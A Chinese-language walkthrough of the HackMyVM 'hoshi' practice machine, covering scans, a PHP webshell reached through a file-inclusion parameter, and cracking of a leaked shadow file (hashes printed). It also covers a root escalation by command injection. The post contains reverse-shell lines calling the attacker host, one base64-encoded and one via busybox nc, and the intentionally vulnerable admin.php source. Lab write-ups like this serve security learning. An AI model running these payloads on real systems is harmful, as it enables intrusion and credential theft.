HackMyVM-hoshi

打完至少得歇一周的靶机。

信息收集


nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
nmap -T4 -A -v 192.168.56.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-23 03:13 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Initiating ARP Ping Scan at 03:13
Scanning 192.168.56.121 [1 port]
Completed ARP Ping Scan at 03:13, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:13
Completed Parallel DNS resolution of 1 host. at 03:13, 0.03s elapsed
Initiating SYN Stealth Scan at 03:13
Scanning 192.168.56.121 [1000 ports]
Discovered open port 22/tcp on 192.168.56.121
Discovered open port 80/tcp on 192.168.56.121
Completed SYN Stealth Scan at 03:13, 0.08s elapsed (1000 total ports)
Initiating Service scan at 03:13
Scanning 2 services on 192.168.56.121
Completed Service scan at 03:13, 6.04s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.121
NSE: Script scanning 192.168.56.121.
Initiating NSE at 03:13
Completed NSE at 03:13, 0.28s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.01s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Nmap scan report for 192.168.56.121
Host is up (0.00080s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: \xE5\x95\x86\xE5\x93\x81\xE5\x8F\x8D\xE9\xA6\x88 - \xE6\x98\x9F\xE9\x99\x85\xE5\x95\x86\xE5\x9F\x8E
MAC Address: 08:00:27:93:25:4C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Uptime guess: 33.089 days (since Wed May 21 01:05:12 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.80 ms 192.168.56.121

NSE: Script Post-scanning.
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Initiating NSE at 03:13
Completed NSE at 03:13, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds
Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.286KB)

dirsearch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
dirsearch -u 192.168.56.121
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.56.121/_25-06-23_03-14-16.txt

Target: http://192.168.56.121/

[03:14:16] Starting:
[03:14:17] 403 - 279B - /.ht_wsr.txt
[03:14:17] 403 - 279B - /.htaccess.bak1
[03:14:17] 403 - 279B - /.htaccess.orig
[03:14:17] 403 - 279B - /.htaccess.sample
[03:14:17] 403 - 279B - /.htaccess.save
[03:14:17] 403 - 279B - /.htaccess_extra
[03:14:17] 403 - 279B - /.htaccess_orig
[03:14:17] 403 - 279B - /.htaccess_sc
[03:14:17] 403 - 279B - /.htaccessBAK
[03:14:17] 403 - 279B - /.htaccessOLD
[03:14:17] 403 - 279B - /.htaccessOLD2
[03:14:17] 403 - 279B - /.htm
[03:14:17] 403 - 279B - /.html
[03:14:17] 403 - 279B - /.htpasswd_test
[03:14:17] 403 - 279B - /.httr-oauth
[03:14:17] 403 - 279B - /.htpasswds
[03:14:17] 403 - 279B - /.php
[03:14:19] 200 - 1KB - /admin.php
[03:14:28] 200 - 23KB - /info.php
[03:14:34] 200 - 109B - /robots.txt
[03:14:34] 403 - 279B - /server-status
[03:14:34] 403 - 279B - /server-status/
[03:14:37] 200 - 562B - /uploads/
[03:14:37] 301 - 318B - /uploads -> http://192.168.56.121/uploads/

Task Completed

gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 gobuster dir  -u http://192.168.56.121 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php,txt,html,zip
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.121
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 9185]
/.php (Status: 403) [Size: 279]
/info.php (Status: 200) [Size: 85756]
/uploads (Status: 301) [Size: 318] [--> http://192.168.56.121/uploads/]
/admin.php (Status: 200) [Size: 2726]
/robots.txt (Status: 200) [Size: 86]
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1102795 / 1102800 (100.00%)
===============================================================
Finished
===============================================================

前期的信息收集大差不差,访问web页面。

做的时候群里已经给出了两个提示:双图盲水印,admin.php的登录密码就在网页上无需爆破。

先访问robots,得到该网站的logo和mazesec的logo有关联。

用wget下载这里的logo和mazesec的logo,使用b神的puzzlesolver一把梭。

得到一个子目录hoshi/。

访问hoshi/,其中有一个gift.php,访问提示非法文件名,猜想可能有文件包含,不过暂时不知道有什么用。

Getshell


回到网站首页,底下有个用户反馈功能,结合上面的客服团队三日内解决我以为是有xss,但是试了半天没用,后来找作者要提示才知道没关系,就是普通的密码。

之后没辙了试了试电话号码,就是这个,进入管理员界面。

进入之后发现有个文件上传目录,结合作者的提示,xss没用,那可能是直接写马进去,试了几次发现全给过滤了,因为它会把php的小于号和大于号转写成&It;和&gt;,即html编码。

不过发现了用户名不会被转写,马上尝试在用户名中插入php代码。

但把恶意构造的payload上传后在后台查看,发现代码没有被执行,而且我们的用户名也不见了,是不是也被过滤了呢,和之前的可能不是一种逻辑。(这里又硬控我大半个小时)

在一通东翻西找包括但不限于看完了info.php之后,终于想起来要看源码了,虽然php页面本身不可见,但至少可以看一看元素,其中有一句话说静态界面已生成。

这就能解释我们刚刚的疑问了,我们现在看到的admin.php根本不是真的php文件,而是刚刚那个登录界面跳转过来的不知道叫什么的htm或者html文件,所以我们注入的代码无法执行。

dirsearch再扫一遍,这时发现了一个admin.html,访问和admin.php一模一样,就好像hexo的博客一样用框架生成静态的界面。

很显然这就是真正代码嵌入的地方,那现在就差如何执行了。

1
[03:14:19] 200 -    2KB - /admin.html 

还记得之前的gift.php吗,现在我们来fuzz一下。

1
2
3
4
5
6
7
8
9
10
11
12
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.56.121/hoshi/gift.php?FUZZ=index.html
Total requests: 207643

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000741: 200 0 L 2 W 30 Ch "file"

得到参数file。

利用链很清晰了:用gift.php包含admin.html,执行里面的php代码实现rce。

但是上传完恶意payload,然后不经过admin.php的中继直接去访问或者包含admin.html,会发现里面什么都没有。

因为此时的html文件还没有被admin.php解析进去,所以这里的代码实际上是被正统html处理方式注释掉了,必须提前加载admin.php才行。(感谢sublarge大佬指正)

我们先用phpinfo测试。

不出所料的被成功执行了。

之后我们再传一句话木马尝试执行命令。(这里我不知道为什么system不能用了,换了shellexec才成功)

1
2
3
<?php echo shell_exec($_POST["a"]); ?> 
http://192.168.56.121/hoshi/gift.php?file=admin.html
a=whoami

执行成功。

之后反弹shell即可。

1
a=printf KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64 -d|bash

GetUser


user提权比拿到webshell要简单很多,先看home中的用户是welcome,得到提权目标,下一步仍然是老方法grep简单粗暴的遍历,不过没成。

好在作者藏的不算特别隐蔽,到处乱翻找到一个shadow文件,应该是要爆破了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@hoshi:/var$ ls
backups cache lib local lock log mail opt run spool tmp www
www-data@hoshi:/var$ cd backups/
www-data@hoshi:/var/backups$ ls
apt.extended_states.0 apt.extended_states.1.gz apt.extended_states.2.gz apt.extended_states.3.gz apt.extended_states.4.gz shadow~
www-data@hoshi:/var/backups$ cat shadow~
root:$6$TfSlMzl8/eUh9mY0$wVygBx94VuTMRZq016O3IPG2mn1e.MFz2WKK.pACuy/Sa1dTHqu0vWtbTBrt/Q8dIWGBeYrY90ERemhYElKHv1:20190:0:99999:7:::
daemon:*:20166:0:99999:7:::
bin:*:20166:0:99999:7:::
sys:*:20166:0:99999:7:::
sync:*:20166:0:99999:7:::
games:*:20166:0:99999:7:::
man:*:20166:0:99999:7:::
lp:*:20166:0:99999:7:::
mail:*:20166:0:99999:7:::
news:*:20166:0:99999:7:::
uucp:*:20166:0:99999:7:::
proxy:*:20166:0:99999:7:::
www-data:*:20166:0:99999:7:::
backup:*:20166:0:99999:7:::
list:*:20166:0:99999:7:::
irc:*:20166:0:99999:7:::
gnats:*:20166:0:99999:7:::
nobody:*:20166:0:99999:7:::
_apt:*:20166:0:99999:7:::
systemd-timesync:*:20166:0:99999:7:::
systemd-network:*:20166:0:99999:7:::
systemd-resolve:*:20166:0:99999:7:::
systemd-coredump:!!:20166::::::
messagebus:*:20166:0:99999:7:::
sshd:*:20166:0:99999:7:::
welcome:$6$geD2QaGnx/AiHPAb$8ihVmhNA1GIUFbAkCuUp.KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.:20259:0:99999:7:::

john爆破得到密码loveme2。

ssh登上去拿到user。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssh welcome@192.168.56.121
welcome@192.168.56.121's password:
Linux hoshi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun 23 02:29:41 2025 from 192.168.56.104
welcome@hoshi:~$ cat user.txt
flag{user-73b671a5f913d849d405784a428288dd}
welcome@hoshi:~$

Root


sudo -l 查看可执行程序。

1
2
3
4
5
6
7
welcome@hoshi:~$ sudo -l
Matching Defaults entries for welcome on hoshi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on hoshi:
(ALL) NOPASSWD: /usr/bin/python3 /root/12345.py
welcome@hoshi:~$
1
2
welcome@hoshi:~$ sudo /usr/bin/python3 /root/12345.py
Server listening on port 12345...

发现开启了一个端口,我们用nc连一下,是个命令执行界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nc 192.168.56.121 12345      
conf> x
Unknown command. Type 'help' for commands.
conf> help
=== Configuration Shell ===
?/help List available commands
q/quit Exit the shell
read_config Read server configuration
write_config Write to server configuration
list_files List files in /opt directory
check_status Check server status
exec_cmd Execute allowed system commands (e.g., whoami, pwd)

conf>

值得注意的是只能执行白名单中的命令,不过有个list_files,列出/opt目录下的文件。

1
2
3
4
5
conf> list_files
Files in /opt:
server.conf
server.log

我们再来看一下上述目录下的两个文件,server.conf是空文件,但server.log比较有意思。

我们用靶机给的命令执行工具执行白名单中的pwd。

1
2
conf> exec_cmd pwd
/home/welcome
1
2
3
[2025-06-23 06:57:22] ('192.168.56.104', 35486): Received: list_files
[2025-06-23 06:58:54] ('192.168.56.104', 35486): Received: exec_cmd pwd
[2025-06-23 06:58:54] ('192.168.56.104', 35486): Executing command: sh -c 'pwd'

发现了这个log文件会记录我们命令执行的命令,同时非常关键的一点是它的命令都是用sh-c来执行的,即可以用分号或者&&来命令注入。

尝试构造注入,不过这边好像是过滤了一些符号。

1
2
3
4
5
conf> exec_cmd pwd' ; ls '
Error: Forbidden characters (;|&<>) detected.
conf> exec_cmd pwd' && ls'
/home/welcome
user.txt

成功实现。

那接下来用busybox反弹shell就可以了(群友的靶机一般都会自带busybox)

1
2
3
4
5
6
7
8
9
10
11
12
13
conf> exec_cmd pwd' && busybox nc 192.168.56.104 4444 -e /bin/bash'

[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.21.128 • 192.168.56.104 • 172.18.0.1 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from hoshi-192.168.56.121-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/hoshi~192.168.56.121_Linux_x86_64/2025_06_23-07_10_51-343.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[+] Got reverse shell from hoshi-192.168.56.121-Linux-x86_64 😍 Assigned SessionID <2>
root@hoshi:/home/welcome#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@hoshi:/home/welcome# cd /root
root@hoshi:~# cat root.txt
flag{root-5de923e57adefd6a1fd53a6705ad6486}
root@hoshi:~# ls
12345.py congrats.txt root.txt
root@hoshi:~# cat congrats.txt
Congratulations, Hacker!

You've successfully pwned this target machine! 🎉
Your skills are top-notch, and you've earned ultimate bragging rights.

Keep hacking, keep learning, and check out more challenges at maze-sec.com!
See you in the next challenge!

- Sublarge

root@hoshi:~#

打的真是累死我了唉,拿webshell花的时间比提权和root加起来都多。

后附上admin.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
root@hoshi:/var/www/html# cat admin.php
<?php
ob_start();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>反馈管理后台 - 星际商城</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
background: linear-gradient(135deg, #1e3a8a, #6b21a8);
min-height: 100vh;
margin: 0;
padding-top: 80px;
}
.navbar {
background: rgba(17, 24, 39, 0.95);
backdrop-filter: blur(10px);
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
}
.glow {
box-shadow: 0 0 15px rgba(59, 130, 246, 0.5);
}
.error-message {
background: #ef4444;
color: white;
padding: 1rem;
border-radius: 0.5rem;
text-align: center;
}
</style>
</head>
<body class="text-gray-100 font-sans">
<!-- 导航栏 -->
<nav class="navbar fixed top-0 left-0 w-full z-50">
<div class="container mx-auto px-6 py-4 flex items-center justify-between">
<div class="flex items-center space-x-4">
<img src="QQ.png" alt="StarMall Logo" class="h-10 w-10 rounded-full glow" style="max-width:48px;max-height:48px;">
<h1 class="text-2xl font-bold text-white">星际商城 - 管理后台</h1>
</div>
<div class="space-x-6">
<a href="index.php" class="text-gray-300 hover:text-blue-400 transition">返回前台</a>
<a href="uploads/" class="text-gray-300 hover:text-blue-400 transition">反馈档案</a>
</div>
</div>
</nav>

<div class="container mx-auto p-6 max-w-4xl">
<h1 class="text-3xl font-semibold text-center mb-8 text-white glow">反馈管理后台</h1>

<!-- 登录表单 -->
<?php
session_start();
$admin_password = '400-123-4567';
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['password'])) {
if ($_POST['password'] === $admin_password) {
$_SESSION['logged_in'] = true;
} else {
echo '<p class="text-yellow-500 text-center error-message mb-6">密码错误!</p>';
}
}

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
?>
<form action="" method="POST" class="bg-gray-800 p-8 rounded-lg glow mb-12 max-w-md mx-auto">
<div class="mb-6">
<label for="password" class="block text-sm font-medium text-gray-300">管理员密码</label>
<input type="password" name="password" id="password" required class="mt-1 p-3 w-full bg-gray-700 border border-gray-600 rounded-md text-white focus:ring-2 focus:ring-blue-500" placeholder="请输入密码">
</div>
<button type="submit" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold py-3 px-4 rounded-md transition duration-300">登录</button>
</form>
<?php } else { ?>

<!-- 统计数据 -->
<div class="bg-gray-800 p-8 rounded-lg glow">
<h2 class="text-2xl font-semibold text-white mb-6">反馈统计概览</h2>
<p class="text-gray-300 mb-4">以下是用户提交的商品反馈统计数据,包含反馈总数、文件数量及存储占用情况。所有反馈文件可在<a href="uploads/" class="text-blue-500 hover:underline">反馈档案目录</a>中查看。</p>
<?php
$upload_dir = __DIR__ . '/uploads/';
$metadata_file = $upload_dir . 'feedbacks.json';

// 统计反馈总数
$total_feedbacks = 0;
$user_counts = [];
$product_counts = [];
if (file_exists($metadata_file)) {
$feedbacks = json_decode(file_get_contents($metadata_file), true);
if (is_array($feedbacks)) {
$total_feedbacks = count($feedbacks);
foreach ($feedbacks as $fb) {
$username = $fb['username'];
$product = $fb['product'];
$user_counts[$username] = ($user_counts[$username] ?? 0) + 1;
$product_counts[$product] = ($product_counts[$product] ?? 0) + 1;
}
} else {
echo '<p class="text-yellow-400 text-center error-message mb-4">无法解析反馈数据!</p>';
}
} else {
echo '<p class="text-yellow-400 text-center error-message mb-4">反馈数据文件不存在!</p>';
}

// 新统计面板,遍历目录并渲染文件名(不做转义,允许php代码执行)
$file_count = 0;
$total_size = 0;
$files = glob($upload_dir . '*.txt');
echo '<div class="bg-gray-700 p-6 rounded-md mb-8">';
echo '<h2 class="text-xl font-bold text-blue-400 mb-4">反馈文件列表</h2>';
echo '<table class="min-w-full text-left text-gray-200"><thead><tr><th class="py-2">文件名</th><th class="py-2">大小</th><th class="py-2">操作</th></tr></thead><tbody>';
foreach ($files as $file) {
$filename = basename($file);
$size = filesize($file);
$file_count++;
$total_size += $size;
echo '<tr><td class="py-1 px-2 border-b">';
echo $filename;
echo '</td><td class="py-1 px-2 border-b">' . $size . ' B</td>';
echo '<td class="py-1 px-2 border-b">';
echo '<form method="POST" style="display:inline" onsubmit="return confirm(\'确定要删除此文件吗?\');">';
echo '<input type="hidden" name="delete_file" value="' . htmlspecialchars($filename) . '"><button type="submit" class="text-red-400 hover:text-red-600 underline">删除</button>';
echo '</form>';
echo '</td></tr>';
}
echo '</tbody></table>';
echo '<div class="mt-4 text-blue-300">总文件数: ' . $file_count . ',总大小: ' . ($total_size > 1024 ? number_format($total_size/1024,1).' KB' : $total_size.' B') . '</div>';
echo '</div>';

echo '<h3 class="text-lg font-semibold text-blue-400 mb-2">用户反馈统计</h3>';
echo '<ul class="list-disc list-inside text-gray-200 mb-4">';
if (count($user_counts) === 0) {
echo '<li>暂无数据</li>';
} else {
foreach ($user_counts as $user => $count) {
echo '<li>' . htmlspecialchars($user) . ': ' . $count . ' 条反馈</li>';
}
}
echo '</ul>';

echo '<h3 class="text-lg font-semibold text-blue-400 mb-2">商品反馈统计</h3>';
echo '<ul class="list-disc list-inside text-gray-200">';
if (count($product_counts) === 0) {
echo '<li>暂无数据</li>';
} else {
foreach ($product_counts as $product => $count) {
echo '<li>' . htmlspecialchars($product) . ': ' . $count . ' 条反馈</li>';
}
}
echo '</ul>';
?>
</div>
<?php } ?>
</div>

<footer class="text-center text-gray-400 text-sm mt-12 py-6">
<p>© 2025 星际商城 | 管理员专用</p>
</footer>
</body>
</html>
<?php
// 删除文件处理(必须在任何输出前)
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true && isset($_POST['delete_file'])) {
$upload_dir = __DIR__ . '/uploads/';
$metadata_file = $upload_dir . 'feedbacks.json';
$del_file = basename($_POST['delete_file']);
$del_path = $upload_dir . $del_file;
if (is_file($del_path) && strpos($del_file, '.txt') !== false) {
@unlink($del_path);
// 同步删除 feedbacks.json 中的记录
if (file_exists($metadata_file)) {
$feedbacks = json_decode(file_get_contents($metadata_file), true);
if (is_array($feedbacks)) {
$feedbacks = array_filter($feedbacks, function($fb) use ($del_file) {
return $fb['filename'] !== $del_file;
});
file_put_contents($metadata_file, json_encode(array_values($feedbacks), JSON_PRETTY_PRINT));
}
}
// 删除后刷新页面,防止重复提交
header('Location: ' . $_SERVER['REQUEST_URI']);
exit;
}
}

// 页面主内容输出完毕后再生成静态页面
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
$page_content = ob_get_contents();
file_put_contents(__DIR__ . '/admin.html', $page_content);
echo '<div style="display:none" id="static-tip">[debug] 静态页面已生成</div>';
}
ob_end_flush();
?>


HackMyVM-hoshi
http://example.com/2025/06/23/HackMyVM-hoshi/
Author
Skyarrow
Posted on
June 23, 2025
Licensed under